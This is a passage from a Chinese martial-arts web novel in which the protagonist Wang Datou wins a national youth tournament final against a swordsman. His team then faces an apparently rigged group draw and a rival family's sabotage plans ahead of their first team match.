龙门小楼里,气氛却相对平静。
王大头坐在训练室中间,赤着上身,右臂缠着绷带,那是与高战硬拼时留下的伤,比左肩的雷电灼伤更重,整条手臂的**细血管都有轻微破裂,好在没有伤到骨头。
白子羽为他仔细检查后,开了外敷和内服两种药:“外伤好治,内伤需要时间。你今天强行催动刚领悟的化劲,经脉有些受损,三天内不能再全力出手。”
“三天后呢?”王大头问。
“三天后应该能恢复七成。”
白子羽顿了顿,“但决赛就在后天。”
言下之意,王大头很难在决赛前完全恢复。
张猛骂骂咧咧:“那帮孙子,一个比一个下手狠!雷昊用雷电,高战开什么基因锁,这他妈哪是比赛?是玩命!”
周倩轻声道:“王老师,要不……决赛咱们弃权吧?你已经证明了自己的实力,没必要再冒险。”
王大头摇头:“弃权?那就等于告诉所有人,龙门怕了。而且……”
他看向窗外:“林惊羽和白子羽那场比赛,你们看了吗?”
下午的第二场半决赛,林惊羽对阵白子羽,是一场精彩绝伦的对决。
白子羽的“柔水掌”和“流云步”已臻化境,以柔克刚,与林惊羽的“青城剑法”周旋了上百招,最终才以一招之差落败。
“林惊羽的剑,很强。”
吴刚认真道,“他的剑法已经超越了招式的范畴,每一剑都带着独特的‘剑意’。白公子的柔水掌其实克制他的剑法,但还是输了,说明林惊羽的境界更高。”
“剑意……”王大头喃喃自语。
他想起南宫明月说过的话:武道到最后,不是算术题。
林惊羽的剑,就是最好的证明。
“我想在决赛中,亲自领教一下他的剑。”
王大头眼神坚定,“这样的对手,可遇不可求。”
南宫明月从房间走出来,手中拿着一卷泛黄的古籍。
她看了王大头一眼,将古籍放在桌上:“这是我师父留下的《养剑录》残篇,里面有关于剑意养成的记载。虽然你是用拳的,但万法相通,或许对你有帮助。”
王大头郑重接过:“多谢。”
“不必。”
南宫明月淡淡道,“我只是不想你输得太难看。林惊羽的剑,已经触摸到了‘人剑合一’的门槛。你现在的状态,胜算不超过三成。”
这话很直白,但没人反驳。因为她说的是事实。
李雅忽然想起什么:“对了,下午团队赛附加赛的结果出来了。我们E组最后一支队伍确定了,是‘江北雷家二队’。”
客厅里顿时安静下来。
雷家二队?
也就是说,团队赛小组赛,龙门要对上雷家的人?
“队长是谁?”王大头问。
“雷烈。”
李雅脸色凝重,“队员都是雷家年轻一代的佼佼者,最弱的也是暗劲中期。而且……我听说,雷家为了这次团队赛,特意从家族宝库里取出了几件‘好东西’。”
“好东西?”张猛皱眉。
“据说是一种能够增幅内力的古器。”
白子羽接话道,“雷家传承三百余年,收藏了不少古代武者留下的遗物。有些确实有特殊功效,但大多有使用限制或副作用。”
吴刚翻开小本子:“根据现有数据,雷烈的实力应该比雷昊弱一个档次,大概在暗劲后期。但他年轻,恢复力强,而且据说性格偏激,容易走极端。如果他在比赛中使用雷家的古器……”
“那会很麻烦。”
南宫明月忽然道,“雷家有一件名为‘雷纹护腕’的古器,佩戴者可以短时间内将雷电之气的威力提升三成。如果雷烈用了这个,他的实力会接近化劲门槛。”
众人都倒吸一口凉气。
接近化劲门槛的雷烈,再加上雷家其他队员,团队赛第一场就是硬仗。
“兵来将挡。”
王大头站起身,“先准备个人赛决赛。团队赛还有时间。”
傍晚,王大头独自来到基地后山的小树林。
这里相对僻静,适合静心思索。
他找了块平整的石头坐下,翻开南宫明月给的《养剑录》残篇。
古籍用的是繁体字,墨迹已有些模糊,但依然能看出书写者笔力雄浑,每一笔都仿佛蕴含着剑气。
“剑者,心之刃也。养剑先养心,心静则剑明,心乱则剑浊。”
“剑意非招非式,乃持剑者心意所化。或如烈火,或如寒冰,或如山岳,或如流水……万般剑意,皆由心生。”
“人剑合一,非剑御人,亦非人御剑。乃人剑相融,心意相通,剑即是我,我即是剑。”
王大头细细品读,心中若有所悟。
这说的虽然是剑,但道理相通。他练拳,拳意又何尝不是心意的体现?
与雷昊一战,他的拳中带着“破”之意——破除一切阻碍。
与高战一战,他的拳中带着“坚”之意——坚不可摧,百折不挠。
那面对林惊羽,他的拳应该带着什么样的“意”?
正思索间,树林外传来轻微的脚步声。
很轻,但《星辰观想法》带来的敏锐感知,让王大头立刻察觉到了。
他合上古籍,缓缓起身:“谁?”
树林外,一个身影缓缓走近。
月光下,来人身材瘦高,穿着黑色劲装,脸上蒙着黑布,只露出一双眼睛。
那双眼睛,冰冷如霜。
“王大头?”蒙面人的声音嘶哑,显然是刻意伪装过的。
“我是。”王大头平静道,“阁下有何指教?”
“指教谈不上。”蒙面人淡淡道,“只是来给你提个醒。”
“哦?”
“明天的决赛,你最好‘适可而止’。”
蒙面人语气平淡,却带着不容置疑的威胁,“林惊羽是青城剑派这一代最杰出的弟子,他夺冠,对大家都好。”
王大头笑了:“对大家都好?对谁好?”
“对那些不希望龙门继续壮大的人。”蒙面人毫不掩饰,“你已经证明了你的实力,拿到了四强,够了。再往前,对你没好处。”
“如果我说不呢?”
蒙面人眼中寒光一闪:“那后果,你可能承担不起。”
“什么后果?”
王大头向前一步,气势隐而不发,“像雷昊那样重伤?像高战那样用禁术?还是像幽魂那样,在比赛中下毒暗算?”
蒙面人沉默片刻,忽然笑了:“你果然不简单。但你要明白,这个世界的规则,从来不是擂台上的胜负那么简单。有些力量,不是你一个小小龙门能抗衡的。”
“多谢提醒。”王大头抱拳,“但我的路,我自己走。”
“执迷不悟。”蒙面人摇头,“那就别怪……”
他话没说完,树林另一侧忽然传来一声清冷的喝问:“什么人?”
南宫明月!
她不知何时出现在树林边缘,手中长剑已然出鞘,剑身在月光下泛着淡青色的寒光。
蒙面人显然没料到有人来,身形一顿,随即冷笑:“还有帮手?也罢,今天就到此为止。王大头,好自为之。”
话音未落,他身形一晃,如鬼魅般向后飘退,几个起落就消失在树林深处。
南宫明月没有追,走到王大头身边:“你没事吧?”
“没事。”
王大头摇头,“你怎么来了?”
“感觉到有杀气。”
南宫明月收剑归鞘,“那个人是谁?”
“不知道。但他话里话外,是让我在决赛中放水,让林惊羽夺冠。”
王大头皱眉,“你觉得会是谁的人?”
南宫明月沉思片刻:“沈家?雷家?或者……武道协会内部某些人?”
“武道协会?”王大头一愣。
“林惊羽是青城剑派弟子,青城剑派在武道协会的影响力不小。”
南宫明月道,“如果你这个‘野路子’夺冠,会显得传统门派很没面子。有些人可能不希望看到这一幕。”
王大头苦笑:“看来我这冠军,还真不好拿。”
“但你不会放弃,对吗?”南宫明月看着他。
“当然。”
王大头眼神坚定,“越是这样,我越要赢。我要让所有人都看到,科学武道,不输于任何传统流派!”
南宫明月眼中闪过一丝赞赏,但随即又恢复平静:“有决心是好事,但
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也要有实力。你现在的状态,确实不如林惊羽。”
“我知道。”王大头点头,“所以我想请教你一个问题。”
“说。”
“你师父留下的《养剑录》里说,剑意由心生。那我该如何找到属于自己的‘拳意’?”
南宫明月沉默良久,缓缓道:“我师父曾说,真正的武道,不是模仿别人,而是成为自己。”
“成为自己?”
“对。”
南宫明月看着夜空中的明月,“你的拳,应该是什么样子,只有你自己知道。你为什么要练武?你想用你的武道做什么?这些问题的答案,就是你的‘意’。”
王大头陷入沉思。
为什么要练武?
最初,是为了生存,为了不再受人欺负。
后来,是为了探索,为了验证自己的理念。
现在呢?
现在,他想让龙门壮大,想让科学武道被更多人认可,想为那些没有世家背景、没有名师指导的普通人,开辟一条新的武道之路。
这就是他的“意”——开辟之路!
他抬起头,眼中光芒闪烁:“我明白了。”
南宫明月看着他,难得地露出一丝微笑:“明白了就好。明天决赛,我会去看的。”
说完,她转身离开,留下王大头一人在月光下。
王大头重新坐下,翻开《养剑录》,却不再看字,而是感受那份传承数百年的武道精神。
不知不觉,他进入了一种玄妙的状态。
体内内力自动运转,沿着经脉流淌,每循环一周,就更凝练一分。
右臂的伤势,在《星辰观想法》和内力双重作用下,正以惊人的速度恢复。
更重要的是,他感觉到,自己的“意”正在成形。
那是一种开天辟地、勇往直前的意志。
拳未出,意已到。
不知过了多久,王大头睁开眼睛。
天色已微亮。
新的一天,即将开始。
决赛,就在今天。
他站起身,活动了一下身体。
右臂的伤势好了六成,内力恢复了八成,更重要的是,他的精神状态达到了前所未有的巅峰。
推开小树林,清晨的凉风扑面而来。
基地里已经有人开始晨练,呼喝声此起彼伏。
远处训练场上,一个身影正在练剑。
剑光如雪,剑气如虹。
林惊羽。
他似乎察觉到王大头的目光,收剑转身,隔着一百多米的距离,与王大头对视。
两人都没有说话,但空气中仿佛有无形的火花碰撞。
几秒后,林惊羽微微点头,转身继续练剑。
王大头也转身,朝小楼走去。
今天,将是一场苦战。
但他已经准备好了。
回到小楼,众人已经起床,正在吃早餐。
张猛见他回来,立刻问:“大头,昨晚你去哪了?一晚上没回来。”
“在后山**。”王大头坐下,拿起一个包子,“想清楚了一些事。”
“什么事?”周倩好奇。
“我的拳,该是什么样子。”王大头咬了一口包子,语气平静,“今天决赛,我有五成把握。”
“五成?”张猛瞪眼,“昨天你还说只有三成!”
“昨晚有所领悟。”王大头笑了笑,“而且,林惊羽也不是全盛状态。他和白子羽那场比赛,消耗也不小。”
正说着,敲门声响起。
开门,是白子羽。他脸色有些苍白,显然伤势未愈,但精神不错。
“王会长,今天决赛,加油。”
白子羽递过一个瓷瓶,“这里面是三粒‘回元丹’,能在短时间内恢复部分内力。虽然比不上你自身的恢复速度,但关键时候或许有用。”
王大头接过,郑重道:“多谢。”
“不必。”
白子羽摆摆手,“我也希望看到一场精彩的决赛。另外……”
他压低声音:“昨晚有人看到雷烈去了天骄预备营的住处,待了半个小时才出来。你要小心,雷家和天骄预备营可能已经联手了。”
果然。
王大头并不意外:“我知道了。”
送走白子羽,众人快速吃完早餐,收拾妥当,准备前往体育馆。
出门前,王大头看了众人一眼:“今天决赛,无论结果如何,我们都已证明了自己。团队赛在即,大家要调整好心态。”
“明白!”众人齐声应道。
一行人走出小楼,朝阳正好。
基地里,许多选手也正朝体育馆走去。
看到龙门众人,目光各异,有钦佩,有嫉妒,有好奇,也有敌意。
但没人再敢轻视。
第116章:问心之拳
决赛日的体育馆,气氛与往日截然不同。
观众席上座无虚席,连过道都站满了人。
媒体区的摄像机密密麻麻,几家国内最大的武道网站正在直播,实时在线人数已突破五百万。
评委席上,除了武道协会的元老,还多了几位气度不凡的老者——那是几大世家的家主和宗门的掌门,都来观看这场年轻一代的巅峰对决。
擂台也经过特别加固,能量屏障的强度提升了一倍,防止选手的劲力外泄伤及观众。
龙门一行人坐在专属区域前排。
王大头闭目调息,将状态调整到最佳。
右臂的伤势好了七成,内力恢复到八成五,虽然不如全盛时期,但精神却空前集中。
张猛紧张地搓着手:“大头,千万别硬拼啊,不行就认输,不丢人!”
周倩轻声道:“猛哥,你别给王老师压力。”
吴刚则不停翻着小本子:“林惊羽的比赛数据我分析了二十七遍。他的平均出剑速度是零点零八秒,最快可达零点零五秒。剑气最远攻击距离三米,但有效杀伤距离在两米以内。他的‘青城飞仙’有七个变招,但核心都是直刺,关键在于角度和时机的选择……”
孙浩听得头晕:“刚子,你别念了,我头都大了。”
南宫明月抱着剑坐在角落,忽然开口:“林惊羽的剑,核心在于‘快’和‘准’。但快和准之外,还有一种东西。”
“什么?”王大头睁开眼睛。
“诚。”
南宫明月缓缓道,“他的剑很诚,诚于剑,诚于道。所以每一剑都全力以赴,没有犹豫,没有保留。这是他的优点,也可能是他的弱点。”
“诚?”王大头若有所思。
就在这时,广播响起:“全国武道新秀赛个人赛决赛,即将开始!请选手登台!”
全场瞬间安静下来。
王大头脱下外套,露出藏青色练功服。
他活动了一下手腕,迈步走向擂台。
对面,林惊羽也从通道走出。
他依旧是一身青色道袍,背负长剑,面容平静,眼神清澈。行走间衣袂飘飘,宛如古画中走出的剑仙。
两人在擂台中间相对而立。
裁判是武道协会的副会长,一位须发皆白、气息渊深的老者。
他看了两人一眼,沉声道:“决赛规则,无时间限制,无招式限制,一方认输、倒地十秒不起、或跌出擂台判负。但切记,武道切磋,点到为止,勿伤和气。”
“明白。”两人同时抱拳。
“开始!”
话音落下,两人都没有立刻出手。
林惊羽缓缓拔剑。
剑名“青霜”,剑身呈淡青色,如一泓秋水,在灯光下泛着寒光。剑出鞘时,发出一声清越的剑鸣,久久不绝。
“好剑!”台下有人赞叹。
林惊羽执剑在手,整个人的气质陡然一变!之前的出尘淡然,化作了凌厉的锋芒,仿佛他整个人都与剑融为一体。
“王会长,请。”他剑尖斜指地面,姿态优雅。
“林兄,请。”王大头摆出龙门基础拳法的起手式,看似平常,却暗合《游龙步》和《星辰观想法》的精髓。
三秒后,林惊羽动了。
没有雷昊的狂暴,没有高战的狠辣,只有一道如流水般的剑光,无声无息地刺向王大头胸口。
这一剑,不快,却让人无从闪避。
仿佛无论你向哪边躲,剑尖都会如影随形。
王大头眼神一凝,《星辰观想法》全力运转,在剑光及体的瞬间,脚下步伐诡异地一扭,以毫厘之差避开。
但剑光刚过,第二剑已至!
林惊羽的剑法,如行云流水,一招未尽,一招又起,连绵不绝。
每一剑都简洁有效,没有多余的动作,剑剑直指要害。
王大头将《游龙步》施展到极致,在剑光中穿梭闪避。
他能感觉到,林惊羽的剑气不仅锋利,更带着一种独特的“意”——那是属于青城剑派的“清冷孤高”之意,仿佛能冻结人的心神。
十招过去,王大头完全处于守势,甚至没有找到出拳的机会。
台下,张猛急得满头大汗:“怎么光躲啊!打啊!”
南宫明月却微微点头:“他在观察。”
确实,王大头在观察。
观察林惊羽的剑路,观察他的呼吸节奏,观察他内力流转的规律。
《星辰观想法》带来的超强感知,让他能捕捉到许多常人无法察觉的细节。
二十招后,王大头终于找到了一个机会。
在林惊羽一剑刺出、剑势将尽未尽的刹那,他猛地进步,右拳如龙出海,轰向林惊羽持剑手腕!
这一拳,时机把握得妙到毫巅!
但林惊羽似乎早有所料,手腕轻轻一旋,剑身划出一道圆弧,不但避开了拳锋,剑尖反而点向王大头的手肘!
变招之快,如羚羊挂角,无迹可寻!
王大头急忙收拳,脚下连退三步,手肘处留下一道浅浅的血痕。
好险!
若是慢半分,整条手臂的经脉都可能被剑气所伤。
“好剑法。”王大头由衷赞叹。
“王会长的步法,也很精妙。”林惊羽收剑而立,眼神中多了几分认真,“看来,试探可以结束了。”
话音未落,他剑势陡然一变!
原本如流水般的剑法,突然变得如**!剑光如瀑,剑气如虹,整个擂台都被青色剑影笼罩!
“青城剑法·剑雨滂沱!”
剑影重重,密不透风!
王大头瞳孔收缩,这一招,避无可避!
他深吸一口气,不再闪避,而是站在原地,双拳缓缓抬起。
体内内力按照昨晚领悟的“开辟之意”运转,一股无形的气势从他身上升起。
那是一种开天辟地、勇往直前的气势!
拳未出,意已到!
“喝!”
王大头低吼一声,双拳齐出!
没有复杂的招式,只有最朴实无华的正拳!
但这一拳中,蕴含着他全部的内力、全部的精神、全部的意志!
拳意·开辟!
“轰——!!!”
拳劲与剑气碰撞,发出震耳欲聋的巨响!
擂台上的能量屏障剧烈震动,泛起层层涟漪!
烟尘弥漫!
台下所有人都屏住呼吸,死死盯着擂台。
烟尘散去。
两人依旧站在原地。
林惊羽的剑,停在王大头胸口前三寸。
王大头的拳,停在林惊羽咽喉前两寸。
谁也没有再进一步。
几秒后,林惊羽缓缓收剑,脸上露出一丝复杂的神色:“我输了。”
“嗯?”王大头一愣。
“你的拳意,破开了我的剑意。”
林惊羽摇头,“刚才那一击,我的剑慢了零点一秒。若是生死相搏,我已经**。”
台下哗然!
明明看起来是平手,为什么林惊羽认输?
但真正的高手都看明白了。
在刚才的碰撞中,王大头的拳意,以一种一往无前的气势,硬生生破开了林惊羽的剑意。
虽然两人都没有伤到对方,但意境上,王大头赢了。
意境之争,看似虚无缥缈,却决定了武道的上限。
裁判看向林惊羽:“你确定认输?”
“确定。”
林惊羽收剑归鞘,对王大头抱拳,“王会长,受教了。你的拳意,让我看到了另一条路。”
王大头郑重回礼:“林兄承让。你的剑,是我见过最纯粹的剑。”
两人相视一笑,颇有惺惺相惜之感。
裁判宣布:“比赛结束!胜者,龙门王大头!本届全国武道新秀赛个人赛冠军,王大头!”
“哗——!!!”
全场爆发出震天的欢呼和掌声!
冠军!
龙门王大头,一个半年前还是外卖员的年轻人,如今站在了全国年轻一代武者的顶峰!
张猛等人冲上擂台,将王大头团团围住。
“大头!冠军!我们是冠军!”张猛激动得语无伦次。
周倩眼眶泛红:“王老师,太好了!”
吴刚握紧拳头,眼中满是崇拜。
孙浩又蹦又跳:“冠军!冠军!”
南宫明月站在台下,看着被众人簇拥的王大头,嘴角难得地勾起一抹微笑。
评委席上,几位老者低声交谈。
“这个王大头,不简单。”
“拳意已具雏形,未来不可限量。”
“龙门……或许真能走出一条新路。”
颁奖仪式上,武道协会会长亲自为王大头戴上金牌,颁
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发冠军奖杯。
“年轻人,好好走下去。”
会长拍了拍他的肩膀,“武道需要新鲜血液,需要新的思路。”
“多谢会长。”王大头郑重道。
颁奖结束,个人赛正式落幕。
但王大头知道,真正的挑战,才刚刚开始。
个人赛的冠军,只是一个开始。
接下来的团队赛,才是龙门真正的考验。
回到小楼,众人还沉浸在喜悦中。
李雅提议晚上庆祝一下,但被王大头拒绝了。
“团队赛三天后就开始,现在不是庆祝的时候。”
王大头看向众人,“个人赛我们赢了,团队赛,我们也要赢!”
“对!团队赛也要赢!”张猛挥舞拳头。
就在这时,敲门声响起。
开门,是白子羽和……林惊羽。
“王会长,恭喜夺冠。”白子羽笑道。
林惊羽抱拳:“王会长,冒昧来访。”
“两位请进。”王大头将两人让进客厅。
林惊羽坐下后,开门见山:“王会长,我此次前来,一是祝贺,二是提醒。”
“请讲。”
“团队赛,你要小心。”
林惊羽神色凝重,“我得到消息,雷家、沈家、天骄预备营,可能已经联手,要在团队赛中针对你们龙门。”
王大头并不意外:“猜到了。”
“不仅如此。”
林惊羽压低声音,“我还听说,有人从黑市买了一种名为‘散功散’的**,无色无味,能让人在三个时辰内内力尽失。如果有人在比赛前对你们下毒……”
众人脸色大变。
“谁会这么下作?”张猛怒道。
“为了利益,什么事都做得出来。”
白子羽摇头,“你们龙门现在风头太盛,又得罪了不少人。团队赛是五人制,如果你们中有人**,实力大减,很可能连小组赛都出不了线。”
王大头沉默片刻,问:“林兄为何告诉我们这些?”
林惊羽坦然道:“我敬重你的武道。武道之争,应该在擂台上堂堂正正地进行,而不是用这些下三滥的手段。”
他顿了顿:“另外,青城剑派虽然也是传统门派,但我们更看重武道精神。我希望看到的是真正的武道繁荣,而不是被一些蝇营狗苟之辈玷污。”
“多谢林兄。”王大头郑重抱拳。
“不必。”
林惊羽起身,“团队赛,我们青城剑派也会参加。如果在淘汰赛相遇,我会全力以赴。”
“期待与林兄再次交手。”
送走两人,客厅里的气氛有些沉重。
下毒?这种手段太阴险了。
“从今天起,大家的饮食要格外小心。”
李雅严肃道,“我会亲自负责采购和烹饪,不吃外面的东西。”
“水也要注意。”
周倩补充道,“最好只喝瓶装水,开封前检查有没有**。”
“还有,大家尽量不要单独行动。”
王大头道,“团队赛前,我们要更加小心。”
正说着,南宫明月从房间走出来,手中拿着一个小布袋。
“这是我师父留下的‘试毒玉’。”
她将布袋打开,里面是五枚拇指大小的白色玉片,“遇毒变色。吃饭喝水前,先用它试一下。”
众人接过玉片,入手温润。
“多谢明月姑娘。”王大头道。
南宫明月摇头:“团队赛,我也要参加。你们的安危,也关系到我的胜负。”
她顿了顿:“另外,我刚才去查了一下,散功散的主要原料‘腐心草’,只在一个地方有产——滇南苗疆。而苗疆最大的药材商,姓沈。”
沈家!
果然是他们!
“沈万钧……”王大头眼神冰冷。
这个沈家家主,还真是阴魂不散。
“看来,团队赛第一场对雷家,不会轻松。”
王大头看向众人,“从明天开始,我们进行团队配合特训。猛哥,你负责正面攻坚;小倩,你负责策应和辅助;小吴,你负责防御;小孙,你负责游击;明月……你自由行动,寻找机会一击必杀。”
“明白!”众人齐声应道。
夜深了。
王大头独自站在窗前,看着手中的冠军金牌。
金牌在月光下泛着柔和的光泽。
第117章:抽签疑云
个人赛结束后的第三天,团队赛正式拉开序幕。
与个人赛的赛制不同,团队赛更加复杂,也更考验队伍的整体实力和战术配合。
来自全国的一百五十六支队伍,经过附加赛筛选,最终确定一百二十八支队伍进入小组赛。
小组赛分为三十二个小组,每组四支队伍,进行单循环赛,每组前两名晋级六十四强淘汰赛。
这天上午,所有参赛队伍的领队**在基地会议中心,进行小组赛抽签仪式。
会议中心大厅里人头攒动,各色队服交织。
龙门一行人走进来时,再次吸引了诸多目光——个人赛冠军的队伍,天然就是焦点。
“看,那就是王大头。”
“个人赛冠军啊……真年轻。”
“听说他们龙门才成立不到一年,真是妖孽。”
“团队赛可不一样,个人强不代表团队强。”
议论声隐约传来。
张猛昂首挺胸,颇为自豪。
周倩和吴刚则保持着警惕,观察着周围的环境。孙浩有些紧张,不停整理着队服。
南宫明月依旧平静,抱着剑走在最后。
王大头走在最前面,神色如常。
经过几天的调养,他的伤势已经基本痊愈,内力也恢复到九成以上。
更重要的是,与林惊羽一战让他对“拳意”有了更深的理解,实力又有所精进。
“王会长,这边。”白子羽在不远处招手。
龙门众人走过去,与白子羽汇合。白家这次也派了团队参赛,白子羽是领队兼队员。
“抽签快开始了。”白子羽低声道,“我刚听说,这次抽签……可能有点‘特别’。”
“特别?”王大头眉头微挑。
“几个传统强队,比如雷家、沈家、天骄预备营,还有青城剑派、少林俗家弟子会等,都被分在了不同的组。”
白子羽意味深长地说,“看似随机,但仔细想想,这些强队在小组赛根本碰不到,明显是有人刻意安排,确保他们都进淘汰赛。”
王大头明白了。这是要保送强队,避免他们提前出局影响后面的收视率和关注度。
“那我们呢?”张猛问。
“龙门现在也是‘强队’了。”白子羽笑了笑,“我猜,你们应该也会被分到一个相对轻松的小组,确保晋级。”
正说着,主台上,武道协会的副会长开始讲话。
冗长的开场白后,抽签仪式正式开始。
大屏幕上显示着三十二个小组的编号,工作人员将一个特制的抽签箱搬上台。
这个抽签箱据说能隔绝内力探测,确保公平。
抽签顺序按照队伍名称拼音排序。很快,一个个队伍被叫到名字,领队上台抽签。
“滨海龙门武道研究会!”主持人念到。
王大头站起身,在众人的注视下走上台。
他能感觉到,台下许多目光聚焦在自己身上。
雷家那边,**山面无表情地看着他;沈家区域,沈万钧眼神阴冷;天骄预备营的人则是一脸不屑。
走到抽签箱前,王大头将手伸进箱口。
箱内有一种奇特的能量场,干扰着感知。他随手摸了一个小球,拿出来。
小球是红色的,上面刻着一个数字:7。
“龙门,第七组!”主持人宣布。
王大头将小球交给工作人员,走下台。
回到座位,李雅立刻翻看手册:“第七组……目前抽出来的有,我们龙门,还有……冀北沈家二队!”
沈家二队?
众人脸色微变。
“这么巧?”张猛皱眉。
“还有两支队伍没抽出来。”
李雅继续道,“一支是西北‘铁马帮’,另一支是……天骄预备营三队!”
铁马帮是西北的一个马帮转型的武道团体,实力一般。
但天骄预备营三队,虽然不如一队二队,但也是经过严格训练的实战队伍。
“第七组,龙门、沈家二队、铁马帮、天骄预备营三队。”白子羽沉吟道,“这个分组……不简单。”
确实不简单。龙门和沈家有过节,天骄预备营也因为高战的事情记恨龙门。这分明是有人故意把龙门放进了“恩怨局”!
“看来,有人不想让我们轻松晋级。”王大头平静道。
抽签继续进行。
果然如白子羽所说,雷家一队分在了第一组,对手都是些弱旅。
天骄预备营一队和二队分别在不同的小组,也都避开了强敌。
青城剑派分在了第十六组,白家分在了第二十四组,少林俗家弟子会在第三十一组……所有传统强队,都完美避开。
“黑幕!这绝对是黑幕!”张猛愤愤道。
“小声点。”周倩拉了拉他。
王大头却看得透彻。
武道协会要保证比赛精彩,自然要确保强队都进淘汰赛。
而把龙门放进恩怨局,也是为了增加看点。
只是这样一来,龙门的小组赛会异常艰难。
抽签全部结束,各队领队领取了详细的赛程表。
龙门的第一场比赛在明天下午,对手正是沈家二队!
回到小楼,众人立刻开始研究对手。
“沈家二队的队长是沈坤。”
李雅调出资料,“队员包括沈浪、沈冰、沈岩、沈雨,都是沈家旁系子弟,实力在暗劲中期到后期之间。”
“沈坤那小子?”张猛冷笑,“手下败将,不足为虑。”
“别轻敌。”
王大头摇头,“沈坤虽然个人实力一般,但他是沈家嫡系,沈万钧的儿子。沈家既然把他放在二队,肯定有特殊安排。”
他看向吴刚:“小吴,你有什么分析?”
吴刚翻开小本子:“根据沈坤在个人赛的表现,他的‘流云扇法’以轻灵刁钻著称,但力量不足。不过他是领队,可能会携带沈家的某些‘道具’。另外,沈家二队的其他四人,沈浪练的是‘劈空掌’,沈冰是‘寒冰指’,沈岩是‘铁山靠’,沈雨是‘无影脚’。从**搭配来看,他们是一个标准的战术小队,有远程有近战,有控制有输出。”
孙浩听得头大:“这么多花样?那我们怎么打?”
“以不变应万变。”
王大头道,“我们的优势在于个人实力和团队默契。明天第一局擂台战,我上。第二局夺旗战,猛哥、小吴、小孙、明月,你们四个上。第三局混战,看情况调整。”
“你一个人打擂台战?”
张猛担心,“你的伤……”
“已经好了。”
王大头活动了一下右臂,“而且,我需要一场胜利来立威。沈坤既然敢来,我就让他知道,龙门不是他能招惹的。”
众人点头。
就在这时,敲门声响起。
开门,是基地的工作人员,送来一份通知。
“王会长,明天下午的比赛,将启用‘特殊场地’。”
工作人员道,“请做好准备。”
“特殊场地?”王大头接过通知。
通知上写着,第七组的小组赛将在基地三号训练场进行,那是一个模拟了山地、丛林、河流等多种地形的综合训练场,面积是标准擂台的二
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十倍。
“夺旗战和混战,都会在复杂地形中进行。”工作人员解释,“这是为了增加比赛的真实性和挑战性。”
这倒是个新情况。
送走工作人员,众人立刻开始研究三号训练场的地形图。
“有山,有林,有水,还有废弃建筑。”李雅指着地图,“旗帜点通常设在地图中间的高地上。但地形复杂,很容易埋伏。”
“这对我们有利。”南宫明月忽然开口,“复杂地形,更适合我的剑法。”
“对,明月姑娘可以发挥速度优势,进行偷袭和游击。”周倩点头。
“小吴的下盘稳,适合守旗。猛哥力量强,适合攻坚。小孙速度快,适合侦查和骚扰。”王大头分析道,“我们的战术可以更灵活。”
正讨论着,又有人敲门。
这次来的是白子羽,他脸色有些凝重。
“王会长,我刚得到一个消息。”白子羽低声道,“沈家二队那边,昨天从沈家本家运来了一批‘装备’。”
“装备?”
“据说是一种特制的护甲和武器,掺入了‘玄铁’,轻薄坚固,还能增幅内力。”
白子羽道,“虽然比赛规则禁止使用杀伤性武器,但护甲和训练用武器是允许的。沈家这次……可能要玩真的。”
玄铁?那可是炼制神兵利器的稀有材料!
“沈家还真是舍得下本钱。”王大头冷笑。
“另外,”白子羽继续道,“天骄预备营三队那边,也有动作。他们的队长赵虎,昨天去见了雷烈。”
雷烈?雷家二队的队长?
“看来,他们真的联手了。”张猛握紧拳头。
“意料之中。”王大头反而平静下来,“既然他们要玩,我们就陪他们玩到底。”
送走白子羽,众人继续讨论战术,一直到深夜。
第二天上午,龙门全队前往三号训练场熟悉地形。
三号训练场位于基地东北角,占地约五万平方米,确实是一个微缩的野外战场。
有三十米高的小山丘,有茂密的模拟丛林,有宽十米的河流,还有几栋废弃的混凝土建筑。
“这地方……真大。”孙浩咋舌。
“夺旗战,旗帜点通常在那里。”
王大头指着山丘顶部的一个平台,“从山脚到山顶,有两条主路,三条小径。丛林里可以埋伏,河流可以泅渡,建筑可以据守。”
“我们的战术是什么?”周倩问。
“第一,抢占制高点。第二,控制关键路径。第三,灵活机动,不要硬拼。”王大头道,“具体战术,根据实际情况调整。”
众人分头熟悉地形,王大头则独自登上山丘顶部。
站在高处,整个训练场尽收眼底。
风吹过,带来草木的清香。
但他能感觉到,这平静之下,暗藏杀机。
下午的比赛,不会轻松。
但越是这样,他越兴奋。
真正的挑战,才刚开始。
中午回到小楼,简单吃过午饭,众人开始做最后的准备。
检查装备,调整状态,复习战术。
下午两点,比赛即将开始。
出发前,王大头看向众人:“记住,安全第一。如果情况不对,立刻认输,不要硬拼。”
“明白!”
一行人走出小楼,朝三号训练场走去。
阳光正好,但每个人的心中,都绷着一根弦。
团队赛第一战,对阵沈家二队。
这一战,不仅要赢,还要赢得漂亮。
因为无数双眼睛,正在看着他们。
看着龙门。
第118章:初战告捷
下午两点半,三号训练场。
观众席设在训练场外围的高台上,此刻已坐满了人。
媒体区的摄像机对准了场地中间,直播已经开始。
场地边缘,两支队伍已经就位。
龙门这边,王大头、张猛、周倩、吴刚、孙浩、南宫明月六人全部到场——南宫明月是替补队员,但也会随队观战。
对面,沈家二队五人一字排开。
沈坤站在最前面,穿着崭新的白色绣金边练功服,手持一柄白玉骨扇,嘴角带着若有若无的笑意。
他身后是沈浪、沈冰、沈岩、沈雨四人,都穿着统一的白色练功服,气势不弱。
裁判组由三位武道协会的资深裁判组成,主裁判是一位化劲初期的老者,气息沉稳。
“第七组第一场,龙门对沈家二队。”
主裁判朗声道,“比赛分三局,第一局擂台战,第二局夺旗战,第三局混战。现在进行第一局,双方派代表上场!”
按照约定,龙门这边王大头上场。
沈家二队那边,沈坤走了出来。
两人在场地中间相对而立。
“王会长,又见面了。”
沈坤摇着扇子,笑容可掬,“个人赛没机会交手,团队赛补上,正好。”
王大头平静道:“沈公子请。”
“不急。”
沈坤收起扇子,指了指身上的练功服,“看到这衣服了吗?掺了玄铁丝,刀枪不入。还有这扇子,”
他“唰”地展开扇子,扇骨竟然是金属质地,边缘锋利,“特制的,不算违规武器,但打在身上……会很疼。”
赤裸裸的炫耀和威胁。
王大头却笑了:“装备再好,也要看用的人。”
沈坤脸色一沉:“那就让你见识见识,沈家真正的实力!”
裁判示意比赛开始。
沈坤率先出手!
他脚步一滑,身形如云般飘忽,瞬间贴近王大头,白玉骨扇如刀般划向咽喉!
这一下又快又狠,完全不像他平时表现出的轻浮。
果然有长进!
王大头不闪不避,右手探出,五指如钩,扣向扇骨!
“铛!”
手指与扇骨碰撞,竟发出金铁交鸣之声!
沈坤手腕一麻,心中暗惊。
他这扇骨掺了玄铁,坚硬无比,对方竟然敢用手硬接?
但他反应极快,扇子一转,从另一个角度削向王大头肋下!
